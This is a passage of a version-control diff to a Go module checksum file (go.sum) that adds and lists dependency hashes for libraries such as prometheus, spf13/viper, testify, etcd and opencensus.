h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= +github.com/phpdave11/gofpdf v1.4.2/go.mod h1:zpO6xFn9yxo3YLyMvW8HcKWVdbNqgIfOOp2dXMnm1mY= +github.com/phpdave11/gofpdi v1.0.12/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= +github.com/phpdave11/gofpdi v1.0.13/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= +github.com/pierrec/lz4/v4 v4.1.15/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= +github.com/pkg/diff v0.0.0-20200914180035-5b29258ca4f7/go.mod h1:zO8QMzTeZd5cpnIkz/Gn6iK0jDfGicM1nynOkkPIl28= +github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -394,11 +1445,17 @@ github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZ github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= +github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= +github.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P1IAHhP5U= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= @@ -406,9 +1463,12 @@ github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1: github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= +github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= @@ -416,6 +1476,7 @@ github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+ github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= @@ -426,12 +1487,16 @@ github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= +github.com/redis/go-redis/v9 v9.1.0/go.mod h1:urWj3He21Dj5k4TK1y59xH8Uj6ATueP8AH1cY3lZl4c= +github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= @@ -439,12 +1504,26 @@ github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= +github.com/russross/blackfriday v1.5.2 h1:HyvC0ARfnZBqnXwABFeSZHpKvJHJJfPz81GNueLj0oo= +github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g= github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ruudk/golang-pdf417 v0.0.0-20181029194003-1af4ab5afa58/go.mod h1:6lfFZQK844Gfx8o5WFuvpxWRwnSoipWe/p622j1v06w= +github.com/ruudk/golang-pdf417 v0.0.0-20201230142125-a7e3863a1245/go.mod h1:pQAZKsJ8yyVxGRWYNEm9oFB8ieLgKFnamEyDmSA0BRk= +github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sagikazarmark/crypt v0.9.0/go.mod h1:RnH7sEhxfdnPm1z+XMgSLjWTEIjyK4z2dw6+4vHTMuo= +github.com/sanity-io/litter v1.5.5/go.mod h1:9gzJgR2i4ZpjZHsKvUXIRQVk7P+yM3e+jAF7bU2UI5U= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= +github.com/schollz/closestmatch v2.1.0+incompatible/go.mod h1:RtP1ddjLong6gTkbtmuhtR2uUrrJOpYzYRvbcPAid+g= github.com/schollz/progressbar/v2 v2.15.0 h1:dVzHQ8fHRmtPjD3K10jT3Qgn/+H+92jhPrhmxIJfDz8= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= +github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= +github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= +github.com/shirou/gopsutil/v3 v3.23.7/go.mod h1:c4gnmoRC0hQuaLqvxnx1//VXQ0Ms/X9UnJF8pddY5z4= +github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= +github.com/shoenig/test v0.6.4/go.mod h1:byHiCGXqrVaflBLAMq/srcZIHynQPQgeyvkvXnjqq0k= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= @@ -453,17 +1532,21 @@ github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPx github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72 h1:qLC7fQah7D6K1B0ujays3HV9gkFtllcxhzImRR7ArPQ= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= +github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI= +github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= github.com/spf13/afero v1.5.1 h1:VHu76Lk0LSP1x254maIu2bplkWpfBWI+B+6fdoZprcg= github.com/spf13/afero v1.5.1/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= +github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU= github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE= github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= @@ -473,6 +1556,7 @@ github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0 github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s= github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= github.com/spf13/viper v1.15.0 h1:js3yy885G8xwJa6iOISGFwd+qlUo5AvyXb7CiihdtiU= github.com/spf13/viper v1.15.0/go.mod h1:fFcTBJxvhhzSJiZy8n+PeW6t8l+KeT/uTARa0jHOQLA= @@ -482,73 +1566,162 @@ github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+ github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v0.0.0-20161117074351-18a02ba4a312/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= +github.com/tailscale/depaware v0.0.0-20210622194025-720c4b409502/go.mod h1:p9lPsd+cx33L3H9nNoecRRxPssFKUwwI50I3pZ0yT+8= +github.com/tdewolff/minify/v2 v2.12.8/go.mod h1:YRgk7CC21LZnbuke2fmYnCTq+zhCgpb0yJACOTUNJ1E= +github.com/tdewolff/parse/v2 v2.6.7/go.mod h1:XHDhaU6IBgsryfdnpzUXBlT6leW/l25yrFBTEb4eIyM= +github.com/tdewolff/test v1.0.9/go.mod h1:6DAvZliBAAnD7rhVgwaM7DE5/d9NMOAJ09SqYqeK4QE= +github.com/tklauser/go-sysconf v0.3.11/go.mod h1:GqXfhXY3kiPa0nAXPDIQIWzJbMCB7AmcWpGR8lSZfqI= +github.com/tklauser/numcpus v0.6.0/go.mod h1:FEZLMke0lhOUG6w2JadTzp0a+Nl8PF/GFkQ5UVIcaL4= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= +github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= +github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= +github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0= +github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= +github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= +github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= +github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= +github.com/vmihailenco/msgpack/v5 v5.3.5/go.mod h1:7xyJ9e+0+9SaZT0Wt1RGleJXzli6Q/V5KbhBonMG9jc= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= +github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= +github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI= +github.com/yosssi/ace v0.0.5/go.mod h1:ALfIzm2vT7t5ZE7uoIZqF3TQ7SAOyupFZnkrF5id+K0= +github.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg= +github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM= +github.com/yudai/pp v2.0.1+incompatible/go.mod h1:PuxR/8QJ7cyCkFp/aUDS+JY727OFEZkTdatxwunjIkc= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= +github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= +github.com/zeebo/xxh3 v1.0.2/go.mod h1:5NWz9Sef7zIDm2JHfFlcQvNekmcEl9ekUZQQKCYaDcA= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= +go.etcd.io/bbolt v1.3.7/go.mod h1:N9Mkw9X8x5fupy0IKsmuqVtoGDyxsaDlbk4Rd05IAQw= +go.etcd.io/etcd/api/v3 v3.5.6/go.mod h1:KFtNaxGDw4Yx/BA4iPPwevUTAuqcsPxzyX8PHydchN8= +go.etcd.io/etcd/client/pkg/v3 v3.5.6/go.mod h1:ggrwbk069qxpKPq8/FKkQ3Xq9y39kbFR4LnKszpRXeQ= +go.etcd.io/etcd/client/v2 v2.305.6/go.mod h1:BHha8XJGe8vCIBfWBpbBLVZ4QjOIlfoouvOwydu63E0= +go.etcd.io/etcd/client/v3 v3.5.6/go.mod h1:f6GRinRMCsFVv9Ht42EyY7nfsVGwrNO0WEoS2pRKzQk= +go.etcd.io/gofail v0.1.0/go.mod h1:VZBCXYGZhHAinaBiiqYvuDynvahNsAyLFwB3kEHKz1M= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= +go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= +go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= +go.opentelemetry.io/proto/otlp v0.15.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= +go.opentelemetry.io/proto/otlp v0.19.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/automaxprocs v1.5.1/go.mod h1:BF4eumQw0P9GtnuxxovUd06vwm1o18oMzFtK66vU6XU= +go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ= go.uber.org/multierr v1.1.0/go.mod 